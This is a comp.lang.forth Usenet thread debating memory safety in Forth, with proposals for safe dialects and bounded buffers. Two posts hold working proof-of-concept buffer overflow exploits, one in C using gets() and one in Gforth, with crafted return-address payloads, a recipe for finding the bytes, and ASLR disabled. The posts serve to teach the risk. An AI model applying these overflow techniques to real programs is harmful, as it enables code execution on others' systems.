I'm wondering what the CS Forth users and Forth systems developers make
of the renewed recent push for use of memory-safe languages. Certainly
Forth can add the type of contractual safety requirements e.g.,
implementing bounds checking, of a "memory-safe language". Do we need to
work on libraries for these provisions?

Opinions?

--
Krishna Myneni

What if the program writes a float to a byte location?

Do we have to go along and make Forth type-safe then?

-marcel

On 3/1/24 10:37, mhx wrote:
> What if the program writes a float to a byte location?
>
> Do we have to go along and make Forth type-safe then?
>

We don't have to go along with anything. However, it might be useful to
consider how we can satisfy some of the concerns. It is not possible to
separate entirely memory safe from type safe, since an array of bytes
doesn't have the same memory bounds as an array of floats. Nevertheless
index checking would be the same in both cases.

--
Krishna

Forth by design is as unsafe as any assembler.
The only way to tame it is to run it in a black box.

Krishna Myneni <krishna.myneni@ccreweb.org> writes:
>I'm wondering what the CS Forth users and Forth systems developers make
>of the renewed recent push for use of memory-safe languages.

Which "renewed recent push" do you mean?

>Certainly
>Forth can add the type of contractual safety requirements e.g.,
>implementing bounds checking, of a "memory-safe language". Do we need to
>work on libraries for these provisions?

Some years ago I thought that we can make do by providing some kind of
secure dialect of standard Forth (with some additional words, and an
escape hatch to full Forth) [ertl-secure16]. But the secure dialect
was not intended to be watertight, only protect against mistakes.

In the meantime, I know more about the topic and think that it's
better to produce a watertight secure dialect (with an escape hatch).
Other people have been earlier in recognizing that and have created
Forth systems like Oforth or Eight. My own contribution to that
topic, Safe Forth [ertl22] is a paper design for now, but has the
selling point of requiring neither type tagging nor static type
checking.

I have not had any resonance wrt what I proposed in 2016. For my 2022
ideas, I have had one request on whether there already exists an
implementation.

@InProceedings{ertl-secure16,
author = {M. Anton Ertl},
title = {Security},
crossref = {euroforth16},
pages = {82--83},
url = {http://www.euroforth.org/ef16/papers/ertl-secure.pdf},
video = {https://wiki.forth-ev.de/lib/exe/fetch.php/events:security.mp4},
OPTnote = {presentation slides}
} @Proceedings{euroforth16,
title = {32nd EuroForth Conference},
booktitle = {32nd EuroForth Conference},
year = {2016},
key = {EuroForth'16},
url = {http://www.complang.tuwien.ac.at/anton/euroforth/ef16/papers/proceedings.pdf}
}

@InProceedings{ertl22,
author = {M. Anton Ertl},
title = {Memory Safety Without Tagging nor Static Type Checking},
crossref = {euroforth22},
pages = {5--15},
url = {http://www.euroforth.org/ef22/papers/ertl.pdf},
url-slides = {http://www.euroforth.org/ef22/papers/ertl-slides.pdf},
video = {https://www.youtube.com/watch?v=pReEJinuxEI},
OPTnote = {refereed},
abstract = {A significant proportion of vulnerabilities are due
to memory accesses (typically in C code) that
memory-safe languages like Java prevent. This paper
discusses a new approach to modifying Forth for
memory-safety: Eliminate addresses from the data
stack; instead, put object references on a separate
object stack and use \code{value}-flavoured words.
This approach avoids the complexity of static type
checking (used in, e.g., Java and Factor), and also
avoids the performance overhead of dynamic type
checking for non-memory operations. This paper
discusses the consequences of this approach on the
language, and on performance.}
}

- anton
--
M. Anton Ertl http://www.complang.tuwien.ac.at/anton/home.html
comp.lang.forth FAQs: http://www.complang.tuwien.ac.at/forth/faq/toc.html
New standard: https://forth-standard.org/
EuroForth 2023: https://euro.theforth.net/2023

mhx@iae.nl (mhx) writes:
>What if the program writes a float to a byte location?

That's not a safety problem (as long as the location is big enough for
the float), so one can design a Safe Forth variant that allows that.
But once you are already implementing all the Safety features, it's
relatively easy to prevent that, too. But of course, if you find that
you need that, you can add a word that does that without subverting
memory safety.

>Do we have to go along and make Forth type-safe then?

For memory safety, you certainly need a way to differentiate between
addresses and other data. Some programming languages use type
checkers for that, some use tagging. Safe Forth uses separate stacks.

- anton
--
M. Anton Ertl http://www.complang.tuwien.ac.at/anton/home.html
comp.lang.forth FAQs: http://www.complang.tuwien.ac.at/forth/faq/toc.html
New standard: https://forth-standard.org/
EuroForth 2023: https://euro.theforth.net/2023

anton@mips.complang.tuwien.ac.at (Anton Ertl) writes:
>>of the renewed recent push for use of memory-safe languages.
> Which "renewed recent push" do you mean?

https://www.tomshardware.com/software/security-software/white-house-urges-developers-to-avoid-c-and-c-use-memory-safe-programming-languages

https://www.whitehouse.gov/oncd/briefing-room/2024/02/26/press-release-technical-report/

On 3/1/24 11:38, Anton Ertl wrote:
> Krishna Myneni <krishna.myneni@ccreweb.org> writes:
>> I'm wondering what the CS Forth users and Forth systems developers make
>> of the renewed recent push for use of memory-safe languages.
>
> Which "renewed recent push" do you mean?
>

the ones that Paul Rubin mentioned.

--
km

On 3/1/24 11:42, minforth wrote:
> Forth by design is as unsafe as any assembler. The only way to tame it
> is to run it in a black box.

We may have an alternative, when necessary. The malleability of the
language lends itself to interfaces which can enforce memory safety.
Even without changes to the language itself, memory safety might be
provided by a library e.g. typed arrays, as long as one sticks to the
designed interface.

--
Krishna

IMO you would just be creating another stack language, even if it just
looks like another Forth dialect from the outside.

If I need a relatively safe programming language, I would use SPARK.

On 3/1/24 12:17, Paul Rubin wrote:
> anton@mips.complang.tuwien.ac.at (Anton Ertl) writes:
>>> of the renewed recent push for use of memory-safe languages.
>> Which "renewed recent push" do you mean?
>
> https://www.tomshardware.com/software/security-software/white-house-urges-developers-to-avoid-c-and-c-use-memory-safe-programming-languages
>
> https://www.whitehouse.gov/oncd/briefing-room/2024/02/26/press-release-technical-report/

From the second link,

"While memory safe hardware and formal methods can be excellent
complementary approaches to mitigating undiscovered vulnerabilities, one
of the most impactful actions software and hardware manufacturers can
take is adopting memory safe programming languages. They offer a way to
eliminate, not just mitigate, entire bug classes. This is a remarkable
opportunity for the technical community to improve the cybersecurity of
the entire digital ecosystem."

It sounds like there are plans to use Rust for some of the Linux kernel
code.

--
KM

On 2/03/2024 3:37 am, mhx wrote:
> What if the program writes a float to a byte location?

Coincidentally I just received a report from user attempting to do
exactly that (it was a cell, not a byte). Apparently his code worked
on Gforth and concluded DX-Forth was buggy. Sigh - if only all bugs
were this easy :)

On 3/1/24 09:54, Krishna Myneni wrote:
> I'm wondering what the CS Forth users and Forth systems developers make
> of the renewed recent push for use of memory-safe languages. Certainly
> Forth can add the type of contractual safety requirements e.g.,
> implementing bounds checking, of a "memory-safe language". Do we need to
> work on libraries for these provisions?
>
> Opinions?
>

I played with a simple buffer overflow attack code in C, based on an
example I found at

https://www.jsums.edu/nmeghanathan/files/2015/05/CSC437-Fall2013-Module-5-Buffer-Overflow-Attacks.pdf

=== begin code ===
/*
Demonstrate buffer overflow exploit.
Adapted from the example at:

https://www.jsums.edu/nmeghanathan/files/2015/05/CSC437-Fall2013-Module-5-Buffer-Overflow-Attacks.pdf

Build with:
gcc -m32 -o exploit_demo exploit_demo.c

Normal run:
printf "abcdefg" | ./exploit_demo

Find the address of MaliciousCode() within the disassembled executable
objdump -S ./exploit_demo

from the listing above, note the 4-byte address of MaliciousCode
and put the address in the input string, from low-byte to high-byte.

Exploit Example: pass a string to overflow the buffer and run
exploit code
printf "abcdefghijklmnopqrst\x96\x91\x04\x08" | ./exploit_demo

replace the address 0x08049186 above with the one you obtained
from objdump command.

The exploit will cause MaliciousCode() to execute.
*/

#include <stdio.h>
#include <stdlib.h>

void MaliciousCode() {
printf("This code is malicious!\n");
printf("It will not execute normally.\n");
exit(0);
}

void GetInput() {
char buffer[8];
gets(buffer);
// puts(buffer);
}

int main() {
GetInput();
return 0;
} === end code ===

It will be a useful exercise to work up a similar example in Forth, as a
step to thinking about automatic hardening techniques (as opposed to
input sanitization).

--
Krishna

On 2/03/2024 5:17 am, Paul Rubin wrote:
> anton@mips.complang.tuwien.ac.at (Anton Ertl) writes:
>>> of the renewed recent push for use of memory-safe languages.
>> Which "renewed recent push" do you mean?
>
> https://www.tomshardware.com/software/security-software/white-house-urges-developers-to-avoid-c-and-c-use-memory-safe-programming-languages
>
> https://www.whitehouse.gov/oncd/briefing-room/2024/02/26/press-release-technical-report/

It's good to have an application that works as planned but how does one
that misbehaves translate to 'security risk' and how does 'memory-safe'
prevent that?

"ONCD has the belief that better metrics enable technology providers to
better plan, anticipate, and mitigate vulnerabilities before they become
a problem."

That may be their belief (fancy word for hope) but do they have anything
to back it up?

Krishna Myneni <krishna.myneni@ccreweb.org> writes:
>#include <stdio.h>
>#include <stdlib.h>
>
>void MaliciousCode() {
> printf("This code is malicious!\n");
> printf("It will not execute normally.\n");
> exit(0);
>}
>
>void GetInput() {
> char buffer[8];
> gets(buffer);
> // puts(buffer);
>}
>
>int main() {
> GetInput();
> return 0;
>}
>=== end code ===
>
>It will be a useful exercise to work up a similar example in Forth, as a
>step to thinking about automatic hardening techniques (as opposed to
>input sanitization).

Forth does not have an inherently unbounded input word like C's
gets(). And even typical C environments warn you when you compile
this code; e.g., when I compile it on Debian 11, I get:

|> gcc xxx.c
|xxx.c: In function ‘GetInput’:
|xxx.c:12:10: warning: implicit declaration of function ‘gets’; did you mean ‘fgets’? [-Wimplicit-function-declaration]
| 12 | gets(buffer);
| | ^~~~
| | fgets
|/usr/bin/ld: /tmp/ccC9Qbu7.o: in function `GetInput':
|xxx.c:(.text+0x3b): warning: the `gets' function is dangerous and should not be used.

So, they removed gets() from stdio.h, and added a warning to the
linker. "man gets" tells me:

|_Never use this function_
|[...]
|ISO C11 removes the specification of gets() from the C language, and
|since version 2.16, glibc header files don't expose the function
|declaration if the _ISOC11_SOURCE feature test macro is defined.

And when I follow the recipe in the comments, the result is a
segmentation fault. Things like ASLR prevent such easy ways to
reliably perform arbitrary code execution. The attacker still might
try to repeat the attack using one of the possible target addresses,
and eventually the random-number generator will actually produce the
layout that the exploit is designed for. Moreover, attackers have
found other, less time-consuming ways to cope with ASLR. Bottom line:
ASLR makes attacks harder, but it does not prevent them.

Anyway, there are plenty of ways to corrupt a Forth system, e.g., by
using MOVE in an unsafe way, or by using (the non-standard) PLACE or
+PLACE with a target buffer that's smaller then 256 bytes (and for
+PLACE, I would not be surprised if there are implementations around
that even write beyond the 256-byte boundary).

If you want an example, here's one that targets the Gforth version I
am currently working with:

: MaliciousCode ( -- )
." This code is malicious!" cr
." It will not execute normally." cr
bye ;

create buffer1 8 allot

:noname buffer1 96 stdin read-line . ; execute
bye

When I put this into a file xploit.fs and then perform

printf "01234567890123456789012345678901234567890123456789012345678901234567890123456789\x33\x5b\x57\x55\x55\x55\x00\x00\x68\xdc\xed\xe9\xff\x7f\x00\x00"|
setarch `uname -m` -R gforth xploit.fs

I get the following output:

This code is malicious!
It will not execute normally.

Here the "setarch `uname -m` -R" is used to disable ASLR. Attackers
typically have no way to run programs this way (or if they have, they
don't need such an exploit to execute arbitrary code), but they have
other ways to work around ASLR.

In the example above the mistake is easy to see, but these kinds of
mistakes still happen.

It would be safer if we had the convention that buffers are always
passed around with their lengths. Then we could have a defining word

safebuffer ( u "name" -- )
\ name execution: ( -- addr u )

and in the code above one would write

8 safebuffer buffer1

:noname buffer1 stdin read-line . ; execute
bye

and there could not be a buffer overflow exploit.

- anton
--
M. Anton Ertl http://www.complang.tuwien.ac.at/anton/home.html
comp.lang.forth FAQs: http://www.complang.tuwien.ac.at/forth/faq/toc.html
New standard: https://forth-standard.org/
EuroForth 2023: https://euro.theforth.net/2023

In article <urstns$1ab0f$1@dont-email.me>,
Krishna Myneni <krishna.myneni@ccreweb.org> wrote:
>I'm wondering what the CS Forth users and Forth systems developers make
>of the renewed recent push for use of memory-safe languages. Certainly
>Forth can add the type of contractual safety requirements e.g.,
>implementing bounds checking, of a "memory-safe language". Do we need to
>work on libraries for these provisions?
>
>Opinions?

There is no way Forth can be a safe language in the sense of
algol/pascal/ada/go.
It is in the lane of assembler/Fortran/c.
The most that can be done implement a safe language on top of it,
that makes not a lot of sense.

>Krishna Myneni
Groetjes Albert
--
Don't praise the day before the evening. One swallow doesn't make spring.
You must not say "hey" before you have crossed the bridge. Don't sell the
hide of the bear until you shot it. Better one bird in the hand than ten in
the air. First gain is a cat purring. - the Wise from Antrim -

In article <65e2c0f3$1@news.ausics.net>, dxf <dxforth@gmail.com> wrote:
>On 2/03/2024 5:17 am, Paul Rubin wrote:
>> anton@mips.complang.tuwien.ac.at (Anton Ertl) writes:
>>>> of the renewed recent push for use of memory-safe languages.
>>> Which "renewed recent push" do you mean?
>>
>>
>https://www.tomshardware.com/software/security-software/white-house-urges-developers-to-avoid-c-and-c-use-memory-safe-programming-languages
>>
>>
>https://www.whitehouse.gov/oncd/briefing-room/2024/02/26/press-release-technical-report/
>
>It's good to have an application that works as planned but how does one
>that misbehaves translate to 'security risk' and how does 'memory-safe'
>prevent that?
>
> "ONCD has the belief that better metrics enable technology providers to
> better plan, anticipate, and mitigate vulnerabilities before they become
> a problem."
>
>That may be their belief (fancy word for hope) but do they have anything
>to back it up?
>

Most Forthers have a blind spot what safe means.
I grew up with algol60. The only errors you encountered were
array index errors, and memory exhausted. Index errors showed what array
the index, and a call tree. Memory exhausted indicates that you have
infinite recursion.
On the other hand FORTRAN programs showed an hex address and a dump of
the internal registers.

Groetjes Albert
--
Don't praise the day before the evening. One swallow doesn't make spring.
You must not say "hey" before you have crossed the bridge. Don't sell the
hide of the bear until you shot it. Better one bird in the hand than ten in
the air. First gain is a cat purring. - the Wise from Antrim -

anton@mips.complang.tuwien.ac.at (Anton Ertl) writes:
>If you want an example, here's one that targets the Gforth version I
>am currently working with:
>
>: MaliciousCode ( -- )
> ." This code is malicious!" cr
> ." It will not execute normally." cr
> bye ;
>
>create buffer1 8 allot
>
>:noname buffer1 96 stdin read-line . ; execute
>bye
>
>When I put this into a file xploit.fs and then perform
>
>printf "01234567890123456789012345678901234567890123456789012345678901234567890123456789\x33\x5b\x57\x55\x55\x55\x00\x00\x68\xdc\xed\xe9\xff\x7f\x00\x00"|
> setarch `uname -m` -R gforth xploit.fs
>
>I get the following output:
>
>This code is malicious!
>It will not execute normally.

I forgot to give a recipe for the printf above:

insert

' call -2 cells + 8 dump ' MaliciousCode sp@ 8 dump drop

right before the execute, and the dumps contain the bytes you have to
put into the printf after the 80th byte, in that order. I.e.:

: MaliciousCode ( -- )
." This code is malicious!" cr
." It will not execute normally." cr
bye ;

create buffer1 8 allot

:noname buffer1 96 stdin read-line . ;
' call -2 cells + 8 dump ' MaliciousCode sp@ 8 dump drop
execute
bye

and run it with

echo|setarch `uname -m` -R gforth xploit.fs gforth xploit.fs

For the particular Gforth at hand, this produces:

7FFFE9E43160: 33 5B 57 55 55 55 00 00 - 3[WUUU..

7FFFE9AF6FF0: 68 DC ED E9 FF 7F 00 00 - h.......

exactly the bytes in the printf above.

- anton
--
M. Anton Ertl http://www.complang.tuwien.ac.at/anton/home.html
comp.lang.forth FAQs: http://www.complang.tuwien.ac.at/forth/faq/toc.html
New standard: https://forth-standard.org/
EuroForth 2023: https://euro.theforth.net/2023

On 3/2/24 03:57, Anton Ertl wrote:
> anton@mips.complang.tuwien.ac.at (Anton Ertl) writes:
>> If you want an example, here's one that targets the Gforth version I
>> am currently working with:
>>
>> : MaliciousCode ( -- )
>> ." This code is malicious!" cr
>> ." It will not execute normally." cr
>> bye ;
>>
>> create buffer1 8 allot
>>
>> :noname buffer1 96 stdin read-line . ; execute
>> bye
>>
>> When I put this into a file xploit.fs and then perform
>>
>> printf "01234567890123456789012345678901234567890123456789012345678901234567890123456789\x33\x5b\x57\x55\x55\x55\x00\x00\x68\xdc\xed\xe9\xff\x7f\x00\x00"|
>> setarch `uname -m` -R gforth xploit.fs
>>
>> I get the following output:
>>
>> This code is malicious!
>> It will not execute normally.
>
> I forgot to give a recipe for the printf above:
>
> insert
>
> ' call -2 cells + 8 dump ' MaliciousCode sp@ 8 dump drop
>
> right before the execute, and the dumps contain the bytes you have to
> put into the printf after the 80th byte, in that order. I.e.:
>
> : MaliciousCode ( -- )
> ." This code is malicious!" cr
> ." It will not execute normally." cr
> bye ;
>
> create buffer1 8 allot
>
> :noname buffer1 96 stdin read-line . ;
> ' call -2 cells + 8 dump ' MaliciousCode sp@ 8 dump drop
> execute
> bye
>
> and run it with
>
> echo|setarch `uname -m` -R gforth xploit.fs gforth xploit.fs
>
> For the particular Gforth at hand, this produces:
>
> 7FFFE9E43160: 33 5B 57 55 55 55 00 00 - 3[WUUU..
>
> 7FFFE9AF6FF0: 68 DC ED E9 FF 7F 00 00 - h.......
>
> exactly the bytes in the printf above.
>

Nice example. I can't reproduce it with an older version of gforth
(0.7.9_20220120), but the proof of concept attack is going to be Forth
system-dependent.

Curious as to why you did not use standard ACCEPT for the illustration.

--
Krishna

On 3/1/24 23:16, Krishna Myneni wrote:
> On 3/1/24 09:54, Krishna Myneni wrote:
>> I'm wondering what the CS Forth users and Forth systems developers
>> make of the renewed recent push for use of memory-safe languages.
>> Certainly Forth can add the type of contractual safety requirements
>> e.g., implementing bounds checking, of a "memory-safe language". Do we
>> need to work on libraries for these provisions?
>>
>> Opinions?
>>
>
> I played with a simple buffer overflow attack code in C, based on an
> example I found at
>
> https://www.jsums.edu/nmeghanathan/files/2015/05/CSC437-Fall2013-Module-5-Buffer-Overflow-Attacks.pdf
>
> === begin code ===
> /*
>    Demonstrate buffer overflow exploit.
>    Adapted from the example at:
>
> https://www.jsums.edu/nmeghanathan/files/2015/05/CSC437-Fall2013-Module-5-Buffer-Overflow-Attacks.pdf
>
>    Build with:
>       gcc -m32 -o exploit_demo exploit_demo.c
>
>    Normal run:
>       printf "abcdefg" | ./exploit_demo
>
>    Find the address of MaliciousCode() within the disassembled executable
>       objdump -S ./exploit_demo
>
>       from the listing above, note the 4-byte address of MaliciousCode
>       and put the address in the input string, from low-byte to high-byte.
>
>    Exploit Example: pass a string to overflow the buffer and run
> exploit code
>       printf "abcdefghijklmnopqrst\x96\x91\x04\x08" | ./exploit_demo
>
>       replace the address 0x08049186 above with the one you obtained
>       from objdump command.
>
>    The exploit will cause MaliciousCode() to execute.
> */
>
> #include <stdio.h>
> #include <stdlib.h>
>
> void MaliciousCode() {
>         printf("This code is malicious!\n");
>         printf("It will not execute normally.\n");
>         exit(0);
> }
>
> void GetInput() {
>         char buffer[8];
>         gets(buffer);
>         // puts(buffer);
> }
>
> int main() {
>         GetInput();
>         return 0;
> }
> === end code ===
>
> It will be a useful exercise to work up a similar example in Forth, as a
> step to thinking about automatic hardening techniques (as opposed to
> input sanitization).
>
> --
> Krishna
>
>
>
>
>
>
Here's the output from two runs of the executable, the first with no
buffer overflow, and the second with buffer overflow.

=== begin test output ===
$ printf "abcdefg" | ./exploit_demo

$ printf "abcdefghijklmnopqrst\x96\x91\x04\x08" | ./exploit_demo
This code is malicious!
It will not execute normally.
$ === end test output ===

I am using Fedora release 39, kernel version 6.7.5-200.fc39.x86_64, and
gcc version gcc (GCC) 13.2.1 20231205 (Red Hat 13.2.1-6)

--
Krishna

On 3/2/24 00:02, dxf wrote:
> On 2/03/2024 5:17 am, Paul Rubin wrote:
>> anton@mips.complang.tuwien.ac.at (Anton Ertl) writes:
>>>> of the renewed recent push for use of memory-safe languages.
>>> Which "renewed recent push" do you mean?
>>
>> https://www.tomshardware.com/software/security-software/white-house-urges-developers-to-avoid-c-and-c-use-memory-safe-programming-languages
>>
>> https://www.whitehouse.gov/oncd/briefing-room/2024/02/26/press-release-technical-report/
>
> It's good to have an application that works as planned but how does one
> that misbehaves translate to 'security risk' and how does 'memory-safe'
> prevent that?
>
See my example in C where a buffer overflow is exploited to run code
which would not ever be called for normal execution.

Also, see Anton's example in Gforth.

--
Krishna

Harden these without runtime checks:
: RT1 2 3e recurse ;
: RT2 drop fdrop recurse ;

On 3/2/24 09:39, minforth wrote:
> Harden these without runtime checks:
> : RT1 2 3e recurse ;
> : RT2 drop fdrop recurse ;

Let's see what python does:

def rt1():
return rt1()

rt1()
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "<stdin>", line 2, in rt1
File "<stdin>", line 2, in rt1
File "<stdin>", line 2, in rt1
[Previous line repeated 996 more times]
RecursionError: maximum recursion depth exceeded

Clearly it is doing a runtime check. Similarly one could have RECURSE in
Forth perform a runtime check to enforce a recursion depth limit, and
indeed this type of error is caught by several Forth systems:

=== kForth example ===
: rt1 recurse ;
ok
rt1
Line 2: VM Error(-258): Return stack corrupt
rt1
=== end example ===

=== Gforth example ===
: rt1 recurse ; ok
rt1
*the terminal*:2:1: error: Return stack overflow
>>>rt1<<<
=== end example ===

--
Krishna

On 3/2/24 10:08, Krishna Myneni wrote:
> On 3/2/24 09:39, minforth wrote:
>> Harden these without runtime checks:
>> : RT1 2 3e recurse ;
>> : RT2 drop fdrop recurse ;
>
> Let's see what python does:
>
> def rt1():
>    return rt1()
>
> rt1()
> Traceback (most recent call last):
>   File "<stdin>", line 1, in <module>
>   File "<stdin>", line 2, in rt1
>   File "<stdin>", line 2, in rt1
>   File "<stdin>", line 2, in rt1
>   [Previous line repeated 996 more times]
> RecursionError: maximum recursion depth exceeded
>
> Clearly it is doing a runtime check. Similarly one could have RECURSE in
> Forth perform a runtime check to enforce a recursion depth limit, and
> indeed this type of error is caught by several Forth systems:
>
> === kForth example ===
> : rt1 recurse ;
>  ok
> rt1
> Line 2:  VM Error(-258): Return stack corrupt
> rt1
> === end example ===
>
> === Gforth example ===
> : rt1 recurse ;  ok
> rt1
> *the terminal*:2:1: error: Return stack overflow
> >>>rt1<<<
> === end example ===
>

To be clear, if you try to fill up the fp or data stack, as with your
rt1 example, kForth does give a segfault (and hence is susceptible to an
exploit), while Gforth still gives the same error.

--
Krishna

minforth@gmx.net (minforth) writes:
>Harden these without runtime checks:
>: RT1 2 3e recurse ;
>: RT2 drop fdrop recurse ;

Depends on what you mean with "runtime checks". Gforth does not
compile extra code for stack depth checks, and yet:

: RT1 2 3e recurse ; ok
: RT2 drop fdrop recurse ; ok
rt1
*the terminal*:3:1: error: Floating-point stack overflow
>>>rt1<<<
rt2
*the terminal*:4:1: error: Stack underflow
>>>rt2<<<

Here's the code for the two words:

see-code rt1
$7FEEF9B56C60 lit 1->1
$7FEEF9B56C68 #2
7FEEF97FB523: mov $00[r13],r8
7FEEF97FB527: sub r13,$08
7FEEF97FB52B: mov r8,$08[rbx]
$7FEEF9B56C70 flit 1->1
$7FEEF9B56C78 #4613937818241073152
7FEEF97FB52F: add rbx,$20
7FEEF97FB533: movsd [r12],xmm15
7FEEF97FB539: movsd xmm15,-$08[rbx]
7FEEF97FB53F: sub r12,$08
$7FEEF9B56C80 call 1->1
$7FEEF9B56C88 RT1
7FEEF97FB543: mov rax,$08[rbx]
7FEEF97FB547: sub r14,$08
7FEEF97FB54B: add rbx,$10
7FEEF97FB54F: mov [r14],rbx
7FEEF97FB552: mov rbx,rax
7FEEF97FB555: mov rax,[rbx]
7FEEF97FB558: jmp eax
$7FEEF9B56C90 ;s 1->1
7FEEF97FB55A: mov rbx,[r14]
7FEEF97FB55D: add r14,$08
7FEEF97FB561: mov rax,[rbx]
7FEEF97FB564: jmp eax
ok
see-code rt2
$7FEEF9B56CC0 drop 1->1
7FEEF97FB566: mov r8,$08[r13]
7FEEF97FB56A: add r13,$08
$7FEEF9B56CC8 fdrop 1->1
7FEEF97FB56E: mov rax,r12
7FEEF97FB571: lea r12,$08[r12]
7FEEF97FB576: movsd xmm15,$08[rax]
$7FEEF9B56CD0 call 1->1
$7FEEF9B56CD8 RT2
7FEEF97FB57C: mov rax,$18[rbx]
7FEEF97FB580: sub r14,$08
7FEEF97FB584: add rbx,$20
7FEEF97FB588: mov [r14],rbx
7FEEF97FB58B: mov rbx,rax
7FEEF97FB58E: mov rax,[rbx]
7FEEF97FB591: jmp eax
$7FEEF9B56CE0 ;s 1->1
7FEEF97FB593: mov rbx,[r14]
7FEEF97FB596: add r14,$08
7FEEF97FB59A: mov rax,[rbx]
7FEEF97FB59D: jmp eax

Look, Ma, no software run-time checks. It's done with the MMU
hardware.

- anton
--
M. Anton Ertl http://www.complang.tuwien.ac.at/anton/home.html
comp.lang.forth FAQs: http://www.complang.tuwien.ac.at/forth/faq/toc.html
New standard: https://forth-standard.org/
EuroForth 2023: https://euro.theforth.net/2023